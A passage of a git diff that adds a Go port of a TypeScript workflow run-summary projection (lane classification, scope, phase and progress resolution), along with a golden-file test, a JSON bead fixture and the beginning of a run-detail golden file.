+		Visible: visible,
+		Blocked: blocked,
+	}
+	for _, lane := range lanes {
+		switch runKind(lane.Formula) {
+		case "prReview":
+			counts.PrReview++
+		case "designReview":
+			counts.DesignReview++
+		case "bugfix":
+			counts.Bugfix++
+		case "other":
+			counts.Other++
+		}
+	}
+	return counts
+}
+
+// runKind classifies a lane's formula into a count bucket. Port of TS runKind.
+func runKind(formula RunLaneFormula) string {
+	name, ok := runFormulaName(formula)
+	if !ok {
+		return "other"
+	}
+	switch name {
+	case "mol-adopt-pr-v2":
+		return "prReview"
+	case "mol-design-review-v2":
+		return "designReview"
+	case "mol-bug-report-flow-v2", "mol-bug-report-implementation-v2":
+		return "bugfix"
+	}
+	return "other"
+}
+
+// runLane builds a single lane. Port of TS runLane.
+func runLane(rootID string, issues []runIssue, feedScopes map[string]RunFeedScope) RunLane {
+	phase := mapRunPhase(issues)
+	updatedAt := latestUpdatedAt(issues)
+	formula := runFormula(rootID, issues)
+	formulaName, hasFormula := runFormulaName(formula)
+	stages := stageProgress(phase, formulaName, hasFormula, issues)
+
+	foundStageIndex := -1
+	for i, s := range stages {
+		if s.Status == "active" {
+			foundStageIndex = i
+			break
+		}
+	}
+
+	var primaryInProgress []runIssue
+	for _, i := range issues {
+		if isPrimaryStepIssue(i) && i.status == "in_progress" {
+			primaryInProgress = append(primaryInProgress, i)
+		}
+	}
+	activeStepID, hasActiveStep := latestStepID(primaryInProgress)
+	progress := runProgress(stages, foundStageIndex, activeStepID, hasActiveStep, issues)
+
+	formulaStages := stagesForFormula(formulaName, hasFormula)
+	formulaStageResolved := false
+	if len(formulaStages) > 0 && progress.Status == "active_step" {
+		for _, st := range formulaStages {
+			if containsString(st.steps, progress.StepID) {
+				formulaStageResolved = true
+				break
+			}
+		}
+	}
+
+	phaseLabel := phase.label
+	if formula.Status == "known" && foundStageIndex >= 0 {
+		// activeStage?.label ?? phase.label
+		phaseLabel = stages[foundStageIndex].Label
+	}
+
+	return RunLane{
+		ID:                   rootID,
+		Title:                displayTitle(rootID, issues),
+		Formula:              formula,
+		Scope:                runScope(rootID, issues, feedScopes),
+		External:             externalReference(issues),
+		Phase:                phase.phase,
+		PhaseLabel:           phaseLabel,
+		StatusCounts:         statusCounts(issues),
+		ActiveAssignees:      activeAssignees(issues),
+		UpdatedAt:            updatedAt,
+		Stages:               stages,
+		Progress:             progress,
+		FormulaStageResolved: formulaStageResolved,
+		Health:               runHealthUnavailable(),
+	}
+}
+
+// runRootID resolves the run-root id for a bead. Port of TS runRootId.
+func runRootID(issue runIssue) string {
+	if sourceRoot := sourceRunRootID(issue); sourceRoot != "" {
+		return sourceRoot
+	}
+	md := issue.metadata
+	if explicit := stringValue(md[beadmeta.RootBeadIDMetadataKey]); explicit != "" {
+		return explicit
+	}
+	if stringValue(md[beadmeta.KindMetadataKey]) == "run" || issue.issueType == "molecule" {
+		return issue.id
+	}
+	if moleculeID := stringValue(md["molecule_id"]); moleculeID != "" {
+		return moleculeID
+	}
+	return issue.id
+}
+
+func sourceRunRootID(issue runIssue) string {
+	md := issue.metadata
+	keys := []string{
+		"pr_review.run_root_id",
+		"pr_review.workflow_root_id",
+		"bugflow.active_run_id",
+		"bugflow.implementation_run_id",
+		"bugflow.implementation_workflow_id",
+		"design_review.run_root_id",
+		"design_review.workflow_root_id",
+	}
+	for _, k := range keys {
+		if v := stringValue(md[k]); v != "" {
+			return v
+		}
+	}
+	return ""
+}
+
+// runScope resolves a lane's scope from root metadata, then feed scopes.
+// Port of TS runScope.
+func runScope(rootID string, issues []runIssue, feedScopes map[string]RunFeedScope) RunLaneScope {
+	root, hasRoot := findIssue(issues, rootID)
+
+	// ordered = root first, then the rest (root's metadata wins ties). TS
+	// excludes the root by identity (issue !== root); bead ids are unique within
+	// a group, so id inequality is the faithful predicate.
+	var ordered []runIssue
+	if hasRoot {
+		ordered = append(ordered, root)
+		for _, i := range issues {
+			if i.id != root.id {
+				ordered = append(ordered, i)
+			}
+		}
+	} else {
+		ordered = issues
+	}
+
+	rootStoreRef := metadataString(ordered, beadmeta.RootStoreRefMetadataKey)
+
+	// Build the metadata map fromRootMetadataScope consumes: root metadata,
+	// then overlay gc.root_store_ref and the resolved gc.scope_ref.
+	scopeMeta := map[string]string{}
+	if hasRoot {
+		for k, v := range root.metadata {
+			scopeMeta[k] = v
+		}
+	}
+	if rootStoreRef != "" {
+		scopeMeta[beadmeta.RootStoreRefMetadataKey] = rootStoreRef
+	}
+	scopeRef := ""
+	if hasRoot {
+		scopeRef = stringValue(root.metadata[beadmeta.ScopeRefMetadataKey])
+	}
+	if scopeRef == "" {
+		scopeRef = metadataString(ordered, beadmeta.ScopeRefMetadataKey)
+	}
+	scopeMeta[beadmeta.ScopeRefMetadataKey] = scopeRef
+
+	if ms, ok := fromRootMetadataScope(scopeMeta); ok {
+		return availableScope(ms.scopeKind, ms.scopeRef, ms.rootStoreRef)
+	}
+
+	if feedScope, ok := feedScopes[rootID]; ok {
+		rsr := rootStoreRef
+		if rsr == "" {
+			rsr = feedScope.RootStoreRef
+		}
+		return availableScope(feedScope.ScopeKind, feedScope.ScopeRef, rsr)
+	}
+
+	return RunLaneScope{Status: "unavailable", Error: "run scope metadata unavailable"}
+}
+
+// availableScope is the single edge that sanitizes scope refs (gascity-dashboard-5e5v).
+// Port of TS availableScope.
+func availableScope(kind, ref, rootStoreRef string) RunLaneScope {
+	return RunLaneScope{
+		Status:       "available",
+		Kind:         kind,
+		Ref:          stripNonPrintable(ref),
+		RootStoreRef: stripNonPrintable(rootStoreRef),
+	}
+}
+
+// runFormula resolves a lane's formula identity. Port of TS runFormula.
+func runFormula(rootID string, issues []runIssue) RunLaneFormula {
+	root, hasRoot := findIssue(issues, rootID)
+	var rootPtr *runIssue
+	if hasRoot {
+		rootPtr = &root
+	}
+	name, ok := resolveRunFormulaIdentityLane(rootPtr, issues)
+	if ok {
+		return RunLaneFormula{Status: "known", Name: name}
+	}
+	return RunLaneFormula{Status: "unavailable", Error: "run formula unavailable"}
+}
+
+func runFormulaName(formula RunLaneFormula) (string, bool) {
+	if formula.Status == "known" {
+		return formula.Name, true
+	}
+	return "", false
+}
+
+// displayTitle resolves a lane's display title. Port of TS displayTitle.
+func displayTitle(rootID string, issues []runIssue) string {
+	prTitle := metadataString(issues, "pr_review.github_title")
+	prNumber := metadataString(issues, "pr_review.pr_number")
+	if prTitle != "" && prNumber != "" {
+		return "PR #" + prNumber + ": " + prTitle
+	}
+
+	issueURL := metadataString(issues, "bugflow.github_issue_url")
+	issueNumber := metadataString(issues, "bugflow.github_issue_number")
+	if issueURL != "" && issueNumber != "" {
+		first := ""
+		if len(issues) > 0 {
+			first = issues[0].title
+		}
+		if first == "" {
+			first = rootID
+		}
+		return "Issue #" + issueNumber + ": " + first
+	}
+
+	if root, ok := findIssue(issues, rootID); ok && root.title != "" {
+		return root.title
+	}
+	if len(issues) > 0 && issues[0].title != "" {
+		return issues[0].title
+	}
+	return rootID
+}
+
+// statusCounts tallies issue statuses, preserving first-seen status order to
+// match the TS Record insertion order. Port of TS statusCounts.
+func statusCounts(issues []runIssue) StatusCounts {
+	var counts StatusCounts
+	for _, i := range issues {
+		counts.inc(i.status)
+	}
+	return counts
+}
+
+// activeAssignees returns the sorted unique non-closed assignees.
+// Port of TS activeAssignees.
+func activeAssignees(issues []runIssue) []string {
+	seen := map[string]bool{}
+	var out []string
+	for _, i := range issues {
+		if i.status == "closed" {
+			continue
+		}
+		a := nonEmpty(i.assignee)
+		if a == "" || seen[a] {
+			continue
+		}
+		seen[a] = true
+		out = append(out, a)
+	}
+	sort.Strings(out)
+	if out == nil {
+		return []string{}
+	}
+	return out
+}
+
+// latestUpdatedAt returns the most-recent updated_at as the union value.
+// Port of TS latestUpdatedAt.
+func latestUpdatedAt(issues []runIssue) RunLaneUpdatedAt {
+	best := ""
+	bestMS := int64(0)
+	found := false
+	for _, i := range issues {
+		if i.updatedAt == "" {
+			continue
+		}
+		ms := parseTimestamp(i.updatedAt)
+		if !found || ms > bestMS {
+			best = i.updatedAt
+			bestMS = ms
+			found = true
+		}
+	}
+	if !found {
+		return RunLaneUpdatedAt{Status: "unavailable", Error: "run update time unavailable"}
+	}
+	return RunLaneUpdatedAt{Status: "available", At: best}
+}
+
+// recentChanges returns the newest-first capped recent-change list.
+// Port of TS recentChanges (stable sort preserves input order on ties).
+func recentChanges(issues []runIssue) []RunChange {
+	var filtered []runIssue
+	for _, i := range issues {
+		if i.updatedAt != "" {
+			filtered = append(filtered, i)
+		}
+	}
+	sort.SliceStable(filtered, func(a, b int) bool {
+		return parseTimestamp(filtered[b].updatedAt) < parseTimestamp(filtered[a].updatedAt)
+	})
+	if len(filtered) > recentChangesCap {
+		filtered = filtered[:recentChangesCap]
+	}
+	out := make([]RunChange, 0, len(filtered))
+	for _, i := range filtered {
+		out = append(out, RunChange{
+			ID:        i.id,
+			Title:     i.title,
+			Status:    i.status,
+			UpdatedAt: i.updatedAt,
+		})
+	}
+	return out
+}
+
+// compareLanes orders lanes newest-first, then by id. Port of TS compareLanes.
+// Returns <0 if a sorts before b.
+func compareLanes(a, b RunLane) int {
+	aTime := int64(0)
+	if a.UpdatedAt.Status == "available" {
+		aTime = parseTimestamp(a.UpdatedAt.At)
+	}
+	bTime := int64(0)
+	if b.UpdatedAt.Status == "available" {
+		bTime = parseTimestamp(b.UpdatedAt.At)
+	}
+	if delta := bTime - aTime; delta != 0 {
+		if delta < 0 {
+			return -1
+		}
+		return 1
+	}
+	return strings.Compare(a.ID, b.ID)
+}
+
+// externalReference resolves the external PR/issue reference. Port of TS
+// externalReference.
+func externalReference(issues []runIssue) RunLaneExternalReference {
+	label, hasLabel := externalLabel(issues)
+	url, hasURL := externalURL(issues)
+	if hasLabel && hasURL {
+		return RunLaneExternalReference{Status: "available", Label: label, URL: url}
+	}
+	if hasLabel {
+		return RunLaneExternalReference{Status: "label_only", Label: label}
+	}
+	return RunLaneExternalReference{Status: "unavailable", Error: "external reference unavailable"}
+}
+
+var httpURLRe = regexp.MustCompile(`(?i)^https?://`)
+
+func externalURL(issues []runIssue) (string, bool) {
+	raw := metadataString(issues, "pr_review.pr_url")
+	if raw == "" {
+		raw = metadataString(issues, "bugflow.github_issue_url")
+	}
+	if raw != "" && httpURLRe.MatchString(raw) {
+		return raw, true
+	}
+	return "", false
+}
+
+func externalLabel(issues []runIssue) (string, bool) {
+	if prNumber := metadataString(issues, "pr_review.pr_number"); prNumber != "" {
+		return "PR #" + prNumber, true
+	}
+	if issueNumber := metadataString(issues, "bugflow.github_issue_number"); issueNumber != "" {
+		return "Issue #" + issueNumber, true
+	}
+	if ref := metadataString(issues, "pr_review.external_ref"); ref != "" {
+		return ref, true
+	}
+	if ref := metadataString(issues, "bugflow.external_ref"); ref != "" {
+		return ref, true
+	}
+	return "", false
+}
+
+// metadataString returns the first non-empty metadata value for key across
+// issues. Port of TS metadataString.
+func metadataString(issues []runIssue, key string) string {
+	for _, i := range issues {
+		if v := stringValue(i.metadata[key]); v != "" {
+			return v
+		}
+	}
+	return ""
+}
+
+func runCensusUnavailable() RunCensusState {
+	return RunCensusState{Status: "unavailable", Error: "run health has not been derived"}
+}
+
+func runHealthUnavailable() RunLaneHealthState {
+	return RunLaneHealthState{Status: "unavailable", Error: "run health has not been derived"}
+}
+
+// RunBeadFilter reports whether a bead participates in run classification.
+// Port of TS runBeadFilter. (Exposed for parity; the builder does not call it —
+// live callers apply it at the projection boundary via FilterRunBeads.)
+func RunBeadFilter(b beads.Bead) bool {
+	for _, l := range b.Labels {
+		if strings.HasPrefix(l, "gc:") {
+			return false
+		}
+	}
+	if engineeringTypes[b.Type] {
+		return true
+	}
+	return stringValue(b.Metadata[beadmeta.KindMetadataKey]) == "run"
+}
+
+// FilterRunBeads returns the subset of beadList that participates in run
+// classification, per RunBeadFilter. It is the projection-boundary analog of the
+// frontend runBeadFilter (summary.ts): BuildRunSummary and BuildRunDetail
+// are faithful ports of buildRunSummary/buildRunDetail, which receive
+// already-filtered beads, so a live caller that folds the raw event log — which
+// also carries message, session, and gc:-labeled control beads that can share a
+// run root — must apply this before building. Dropping those unrelated beads
+// keeps them from distorting lane status, counts, recent changes, and detail
+// nodes.
+func FilterRunBeads(beadList []beads.Bead) []beads.Bead {
+	out := make([]beads.Bead, 0, len(beadList))
+	for _, b := range beadList {
+		if RunBeadFilter(b) {
+			out = append(out, b)
+		}
+	}
+	return out
+}
+
+// runProgress resolves the lane's progress union. Port of TS runProgress.
+func runProgress(stages []RunStage, activeStageIndex int, activeStepID string, hasActiveStep bool, issues []runIssue) RunLaneProgress {
+	stage := runStagePosition(stages, activeStageIndex)
+	if hasActiveStep {
+		return RunLaneProgress{
+			Status:  "active_step",
+			StepID:  activeStepID,
+			Stage:   stage,
+			Attempt: runStepAttempt(issues, activeStepID),
+		}
+	}
+	if stage.Status == "available" {
+		return RunLaneProgress{Status: "stage_only", Stage: stage, Error: "active run step unavailable"}
+	}
+	return RunLaneProgress{Status: "unavailable", Error: "run progress unavailable"}
+}
+
+// runStagePosition resolves the active-stage position union.
+// Port of TS runStagePosition.
+func runStagePosition(stages []RunStage, activeStageIndex int) RunLaneStagePosition {
+	if activeStageIndex < 0 || activeStageIndex >= len(stages) {
+		return RunLaneStagePosition{Status: "unavailable", Error: "active run stage unavailable"}
+	}
+	stage := stages[activeStageIndex]
+	return RunLaneStagePosition{
+		Status: "available",
+		Index:  activeStageIndex,
+		Key:    stage.Key,
+		Label:  stage.Label,
+	}
+}
+
+// runStepAttempt resolves the step-attempt union from the active step's review
+// round. Port of TS runStepAttempt.
+func runStepAttempt(issues []runIssue, stepID string) RunLaneStepAttempt {
+	value, ok := reviewRoundForIssues(stepIssues(issues, stepID))
+	if !ok {
+		return RunLaneStepAttempt{Status: "unavailable", Error: "run step attempt unavailable"}
+	}
+	return RunLaneStepAttempt{Status: "available", Value: value}
+}
+
+// fromBead maps a beads.Bead to the phase classifier's runIssue, mirroring the
+// TS fromDashboardBead adapter (phaseMapping.ts:369). The verified field
+// mapping: Type→issue_type, ParentID→parent (falling back to the legacy
+// gc.parent_bead_id marker), a zero UpdatedAt falling back to CreatedAt.
+func fromBead(b beads.Bead) runIssue {
+	parent := b.ParentID
+	if parent == "" {
+		parent = stringValue(b.Metadata[beadmeta.ParentBeadIDMetadataKey])
+	}
+
+	updatedAt := b.UpdatedAt
+	if updatedAt.IsZero() {
+		updatedAt = b.CreatedAt
+	}
+
+	issue := runIssue{
+		id:        b.ID,
+		title:     b.Title,
+		desc:      b.Description,
+		status:    b.Status,
+		issueType: b.Type,
+		assignee:  b.Assignee,
+		updatedAt: formatTimestamp(updatedAt),
+		parent:    parent,
+	}
+	if len(b.Metadata) > 0 {
+		issue.metadata = b.Metadata
+	}
+	return issue
+}
+
+// formatTimestamp renders a time.Time the way the bead JSON wire carries it, so
+// the projected updated_at string is byte-identical to the TS input. The fixture
+// uses UTC RFC3339 with a "Z" suffix; time.Time.Format(time.RFC3339) on a UTC
+// value produces exactly that.
+func formatTimestamp(t time.Time) string {
+	if t.IsZero() {
+		return ""
+	}
+	return t.UTC().Format(time.RFC3339)
+}
+
+// parseTimestamp parses an ISO timestamp to Unix milliseconds, returning 0 on
+// failure (mirroring Date.parse → NaN → 0 in the TS comparators).
+func parseTimestamp(value string) int64 {
+	if value == "" {
+		return 0
+	}
+	t, err := time.Parse(time.RFC3339, value)
+	if err != nil {
+		t, err = time.Parse(time.RFC3339Nano, value)
+		if err != nil {
+			return 0
+		}
+	}
+	return t.UnixMilli()
+}
+
+func findIssue(issues []runIssue, id string) (runIssue, bool) {
+	for _, i := range issues {
+		if i.id == id {
+			return i, true
+		}
+	}
+	return runIssue{}, false
+}
+
+// isDanglingRootGroup reports whether the group's root bead is absent.
+// Port of TS isDanglingRootGroup.
+func isDanglingRootGroup(rootID string, issues []runIssue) bool {
+	for _, i := range issues {
+		if i.id == rootID {
+			return false
+		}
+	}
+	return true
+}
diff --git a/internal/runproj/summary_golden_test.go b/internal/runproj/summary_golden_test.go
new file mode 100644
index 0000000000..b971c3c994
--- /dev/null
+++ b/internal/runproj/summary_golden_test.go
@@ -0,0 +1,102 @@
+package runproj
+
+import (
+	"bytes"
+	"encoding/json"
+	"os"
+	"path/filepath"
+	"strings"
+	"testing"
+
+	"github.com/gastownhall/gascity/internal/beads"
+)
+
+// TestBuildRunSummaryGolden pins the Go port of buildRunSummary to the
+// TypeScript oracle: it loads the shared bead fixture, builds the summary, and
+// asserts the canonical JSON matches runsummary_golden.json byte-for-byte. The
+// golden was generated with JSON.stringify(value, null, 2) plus a trailing
+// newline, so the canonicalization here mirrors that exactly (HTML escaping off,
+// two-space indent, trailing newline).
+func TestBuildRunSummaryGolden(t *testing.T) {
+	fixturePath := filepath.Join("testdata", "beads_fixture.json")
+	goldenPath := filepath.Join("testdata", "runsummary_golden.json")
+
+	raw, err := os.ReadFile(fixturePath)
+	if err != nil {
+		t.Fatalf("read fixture: %v", err)
+	}
+	var beadList []beads.Bead
+	if err := json.Unmarshal(raw, &beadList); err != nil {
+		t.Fatalf("unmarshal fixture: %v", err)
+	}
+
+	summary := BuildRunSummary(beadList)
+	got, err := canonicalJSON(summary)
+	if err != nil {
+		t.Fatalf("marshal summary: %v", err)
+	}
+
+	want, err := os.ReadFile(goldenPath)
+	if err != nil {
+		t.Fatalf("read golden: %v", err)
+	}
+
+	if !bytes.Equal(got, want) {
+		t.Errorf("run summary does not match golden:\n%s", unifiedDiff(string(want), string(got)))
+	}
+}
+
+// canonicalJSON marshals v the way the TS golden generator did: JSON.stringify
+// with two-space indent, HTML escaping disabled (JSON.stringify does not escape
+// <, >, & or U+2028/U+2029 the way Go's default encoder does), and a single
+// trailing newline.
+func canonicalJSON(v any) ([]byte, error) {
+	var buf bytes.Buffer
+	enc := json.NewEncoder(&buf)
+	enc.SetEscapeHTML(false)
+	enc.SetIndent("", "  ")
+	if err := enc.Encode(v); err != nil {
+		return nil, err
+	}
+	// json.Encoder.Encode already appends a single trailing newline, matching the
+	// generator's `JSON.stringify(...) + "\n"`.
+	return buf.Bytes(), nil
+}
+
+// unifiedDiff renders a minimal line-oriented diff of want vs got so a golden
+// mismatch points straight at the divergent lines.
+func unifiedDiff(want, got string) string {
+	wantLines := splitLines(want)
+	gotLines := splitLines(got)
+	var b bytes.Buffer
+	n := len(wantLines)
+	if len(gotLines) > n {
+		n = len(gotLines)
+	}
+	for i := 0; i < n; i++ {
+		var w, g string
+		if i < len(wantLines) {
+			w = wantLines[i]
+		}
+		if i < len(gotLines) {
+			g = gotLines[i]
+		}
+		if w == g {
+			continue
+		}
+		if i < len(wantLines) {
+			b.WriteString("- " + w + "\n")
+		}
+		if i < len(gotLines) {
+			b.WriteString("+ " + g + "\n")
+		}
+	}
+	if b.Len() == 0 {
+		return "(no line-level differences; check trailing bytes)"
+	}
+	return b.String()
+}
+
+func splitLines(s string) []string {
+	return strings.Split(s, "\n")
+}
diff --git a/internal/runproj/testdata/beads_fixture.json b/internal/runproj/testdata/beads_fixture.json
new file mode 100644
index 0000000000..4beed85167
--- /dev/null
+++ b/internal/runproj/testdata/beads_fixture.json
@@ -0,0 +1,248 @@
+[
+  {
+    "id": "dt-adopt1",
+    "title": "mol-adopt-pr-v2",
+    "status": "open",
+    "issue_type": "molecule",
+    "priority": 2,
+    "created_at": "2026-06-01T10:00:00Z",
+    "updated_at": "2026-06-01T12:30:00Z",
+    "assignee": "polecat-1",
+    "ref": "mol-adopt-pr-v2",
+    "metadata": {
+      "gc.formula_contract": "graph.v2",
+      "gc.kind": "run",
+      "gc.formula": "mol-adopt-pr-v2",
+      "gc.run_target": "rig:gascity-packs",
+      "gc.root_store_ref": "rig:gascity-packs",
+      "gc.scope_kind": "rig",
+      "gc.scope_ref": "gascity-packs",
+      "pr_review.pr_number": "42",
+      "pr_review.pr_url": "https://github.com/gastownhall/gascity/pull/42",
+      "pr_review.github_title": "Add run-view Go projection"
+    }
+  },
+  {
+    "id": "dt-adopt1.1",
+    "title": "Preflight checks",
+    "status": "closed",
+    "issue_type": "task",
+    "priority": 2,
+    "created_at": "2026-06-01T10:01:00Z",
+    "updated_at": "2026-06-01T10:05:00Z",
+    "parent": "dt-adopt1",
+    "ref": "mol-adopt-pr-v2.preflight",
+    "metadata": {
+      "gc.kind": "step",
+      "gc.root_bead_id": "dt-adopt1",
+      "gc.step_id": "preflight",
+      "gc.step_ref": "mol-adopt-pr-v2.preflight",
+      "gc.scope_ref": "gascity-packs"
+    }
+  },
+  {
+    "id": "dt-adopt1.2",
+    "title": "Worktree rebase check",
+    "status": "closed",
+    "issue_type": "task",
+    "priority": 2,
+    "created_at": "2026-06-01T10:06:00Z",
+    "updated_at": "2026-06-01T10:20:00Z",
+    "parent": "dt-adopt1",
+    "ref": "mol-adopt-pr-v2.rebase-check",
+    "metadata": {
+      "gc.kind": "step",
+      "gc.root_bead_id": "dt-adopt1",
+      "gc.step_id": "rebase-check",
+      "gc.step_ref": "mol-adopt-pr-v2.rebase-check",
+      "gc.scope_ref": "gascity-packs"
+    }
+  },
+  {
+    "id": "dt-adopt1.3",
+    "title": "Review loop",
+    "status": "in_progress",
+    "issue_type": "task",
+    "priority": 2,
+    "created_at": "2026-06-01T10:21:00Z",
+    "updated_at": "2026-06-01T12:30:00Z",
+    "assignee": "polecat-1",
+    "parent": "dt-adopt1",
+    "ref": "mol-adopt-pr-v2.review-loop",
+    "metadata": {
+      "gc.kind": "step",
+      "gc.root_bead_id": "dt-adopt1",
+      "gc.step_id": "review-loop",
+      "gc.step_ref": "mol-adopt-pr-v2.review-loop",
+      "gc.scope_ref": "gascity-packs",
+      "review.iteration.2": "in_progress"
+    }
+  },
+  {
+    "id": "dt-adopt1.3a",
+    "title": "Claude review",
+    "status": "closed",
+    "issue_type": "task",
+    "priority": 2,
+    "created_at": "2026-06-01T10:22:00Z",
+    "updated_at": "2026-06-01T11:00:00Z",
+    "parent": "dt-adopt1",
+    "ref": "mol-adopt-pr-v2.review-pipeline.review-claude",
+    "metadata": {
+      "gc.kind": "step",
+      "gc.root_bead_id": "dt-adopt1",
+      "gc.step_id": "review-pipeline.review-claude",
+      "gc.step_ref": "mol-adopt-pr-v2.review-pipeline.review-claude",
+      "gc.logical_bead_id": "dt-adopt1.3a",
+      "gc.scope_ref": "gascity-packs"
+    }
+  },
+  {
+    "id": "dt-adopt1.fin",
+    "title": "Merge and finalize",
+    "status": "open",
+    "issue_type": "task",
+    "priority": 2,
+    "created_at": "2026-06-01T10:00:30Z",
+    "updated_at": "2026-06-01T10:00:30Z",
+    "parent": "dt-adopt1",
+    "ref": "mol-adopt-pr-v2.finalize",
+    "metadata": {
+      "gc.kind": "run-finalize",
+      "gc.root_bead_id": "dt-adopt1",
+      "gc.step_id": "finalize",
+      "gc.step_ref": "mol-adopt-pr-v2.finalize",
+      "gc.scope_ref": "gascity-packs"
+    }
+  },
+  {
+    "id": "dt-bugdone",
+    "title": "mol-bug-report-implementation-v2",
+    "status": "closed",
+    "issue_type": "molecule",
+    "priority": 2,
+    "created_at": "2026-05-20T09:00:00Z",
+    "updated_at": "2026-05-20T15:45:00Z",
+    "ref": "mol-bug-report-implementation-v2",
+    "metadata": {
+      "gc.formula_contract": "graph.v2",
+      "gc.kind": "run",
+      "gc.formula": "mol-bug-report-implementation-v2",
+      "gc.run_target": "rig:demo-app",
+      "gc.root_store_ref": "rig:demo-app",
+      "gc.scope_kind": "rig",
+      "gc.scope_ref": "demo-app",
+      "bugflow.github_issue_url": "https://github.com/gastownhall/gascity/issues/17",
+      "bugflow.github_issue_number": "17"
+    }
+  },
+  {
+    "id": "dt-bugdone.1",
+    "title": "Implement change",
+    "status": "closed",
+    "issue_type": "task",
+    "priority": 2,
+    "created_at": "2026-05-20T09:05:00Z",
+    "updated_at": "2026-05-20T11:00:00Z",
+    "parent": "dt-bugdone",
+    "ref": "mol-bug-report-implementation-v2.implement-change",
+    "metadata": {
+      "gc.kind": "step",
+      "gc.root_bead_id": "dt-bugdone",
+      "gc.step_id": "implement-change",
+      "gc.step_ref": "mol-bug-report-implementation-v2.implement-change",
+      "gc.scope_ref": "demo-app"
+    }
+  },
+  {
+    "id": "dt-bugdone.2",
+    "title": "Merge and finalize",
+    "status": "closed",
+    "issue_type": "task",
+    "priority": 2,
+    "created_at": "2026-05-20T15:30:00Z",
+    "updated_at": "2026-05-20T15:45:00Z",
+    "parent": "dt-bugdone",
+    "ref": "mol-bug-report-implementation-v2.merge-and-finalize",
+    "metadata": {
+      "gc.kind": "step",
+      "gc.root_bead_id": "dt-bugdone",
+      "gc.step_id": "merge-and-finalize",
+      "gc.step_ref": "mol-bug-report-implementation-v2.merge-and-finalize",
+      "gc.scope_ref": "demo-app"
+    }
+  },
+  {
+    "id": "dt-latch1",
+    "title": "mol-focus-review",
+    "status": "blocked",
+    "issue_type": "molecule",
+    "priority": 1,
+    "created_at": "2026-04-01T00:00:00Z",
+    "updated_at": "2026-04-01T00:00:00Z",
+    "description": "Focus + in-session review formula. Approval gate, review.",
+    "ref": "mol-focus-review",
+    "metadata": {
+      "gc.formula_contract": "graph.v2",
+      "gc.kind": "workflow",
+      "gc.formula": "mol-focus-review",
+      "gc.root_store_ref": "rig:gascity-dashboard",
+      "gc.scope_kind": "rig",
+      "gc.scope_ref": "gascity-dashboard"
+    }
+  },
+  {
+    "id": "dt-wisp1",
+    "title": "mol-do-work",
+    "status": "open",
+    "issue_type": "molecule",
+    "priority": 2,
+    "created_at": "2026-06-02T00:00:00Z",
+    "updated_at": "2026-06-02T00:00:00Z",
+    "ref": "mol-do-work",
+    "ephemeral": true,
+    "metadata": {
+      "gc.var.target": "demo-app",
+      "gc.var.prompt": "review the blocked PR and merge it after approval, then finalize"
+    }
+  },
+  {
+    "id": "dt-wisp1.1",
+    "title": "Implementation work",
+    "status": "in_progress",
+    "issue_type": "task",
+    "priority": 2,
+    "created_at": "2026-06-02T00:05:00Z",
+    "updated_at": "2026-06-02T00:05:00Z",
+    "assignee": "ralph-3",
+    "ephemeral": true,
+    "metadata": {
+      "molecule_id": "dt-wisp1",
+      "gc.step_id": "do-work"
+    }
+  },
+  {
+    "id": "dt-1920.step-1",
+    "title": "Orphan implementation patch",
+    "status": "in_progress",
+    "issue_type": "task",
+    "priority": 2,
+    "created_at": "2026-06-01T00:05:00Z",
+    "updated_at": "2026-06-01T00:05:00Z",
+    "metadata": {
+      "gc.kind": "step",
+      "gc.formula_contract": "graph.v2",
+      "gc.root_bead_id": "dt-1920",
+      "gc.step_id": "implementation.patch"
+    }
+  },
+  {
+    "id": "dt-lone",
+    "title": "Fix a typo in the README",
+    "status": "open",
+    "issue_type": "task",
+    "priority": 3,
+    "created_at": "2026-06-03T00:00:00Z",
+    "updated_at": "2026-06-03T00:00:00Z"
+  }
+]
diff --git a/internal/runproj/testdata/rundetail_golden.json b/internal/runproj/testdata/rundetail_golden.json
new file mode 100644
index 0000000000..bf71c4a118
--- /dev/null
+++ b/internal/runproj/testdata/rundetail_golden.json
@@ -0,0 +1,360 @@
+{
+  "runId": "dt-adopt1",
+  "rootBeadId": "dt-adopt1",
+  "rootStoreRef": "rig:gascity-packs",
+  "resolvedRootStore": "rig:gascity-packs",
+  "scopeKind": "rig",
+  "scopeRef": "gascity-packs",
+  "title": "mol-adopt-pr-v2",
+  "formula": {
+    "kind": "known",
+    "name": "mol-adopt-pr-v2",
+    "source": "metadata"
+  },
+  "formulaDetail": {
+    "kind": "unavailable",
+    "reason": "fetch_failed",
+    "name": "mol-adopt-pr-v2",
+    "target": "rig:gascity-packs",
+    "failure": "upstream_error"
+  },
+  "executionPath": {
+    "kind": "unavailable",
+    "reason": "missing_cwd_and_rig_root"
+  },
+  "snapshotVersion": 1,
+  "snapshotEventSeq": {
+    "kind": "known",
+    "seq": 100
+  },
+  "completeness": {
+    "kind": "complete"
+  },
+  "progress": {
+    "snapshotVersion": 1,
+    "snapshotEventSeq": {
+      "kind": "known",
+      "seq": 100
+    },
+    "snapshotPartial": false,
+    "totalNodeCount": 5,
+    "visibleNodeCount": 5,
+    "edgeCount": 4,
+    "executionInstanceCount": 5,
+    "sessionLinkCount": 0,
+    "streamableSessionCount": 0,
+    "streamableSessionIds": [],
+    "statusCounts": {
+      "ready": 1,
+      "completed": 3,
+      "active": 1
+    },
+    "allStatusCounts": {
+      "ready": 1,
+      "completed": 3,
+      "active": 1
+    },
+    "terminal": false
+  },
+  "phase": "review",
+  "stages": [
+    {
+      "key": "preflight",
+      "label": "Preflight",
+      "status": "complete"
+    },
+    {
+      "key": "rebase",
+      "label": "Worktree / rebase",
+      "status": "complete"
+    },
+    {
+      "key": "review",
+      "label": "Review loop",
+      "status": "active"
+    },
+    {
+      "key": "ci",
+      "label": "Pre-approval CI",
+      "status": "pending"
+    },
+    {
+      "key": "approval",
+      "label": "Human approval",
+      "status": "pending"
+    },
+    {
+      "key": "finalize",
+      "label": "Merge-ready",
+      "status": "pending"
+    },
+    {
+      "key": "cleanup",
+      "label": "Cleanup",
+      "status": "pending"
+    }
+  ],
+  "nodes": [
+    {
+      "id": "dt-adopt1",
+      "semanticNodeId": "dt-adopt1",
+      "title": "mol-adopt-pr-v2",
+      "kind": "run",
+      "constructKind": "run-root",
+      "status": "ready",
+      "currentBeadId": "dt-adopt1",
+      "scope": {
+        "kind": "scoped",
+        "ref": "gascity-packs"
+      },
+      "visibleInGraph": true,
+      "historicalOnly": false,
+      "iterationSummary": {
+        "kind": "single"
+      },
+      "attemptSummary": {
+        "kind": "none"
+      },
+      "visibleExecutionInstanceId": "dt-adopt1",
+      "executionInstances": [
+        {
+          "id": "dt-adopt1",
+          "semanticNodeId": "dt-adopt1",
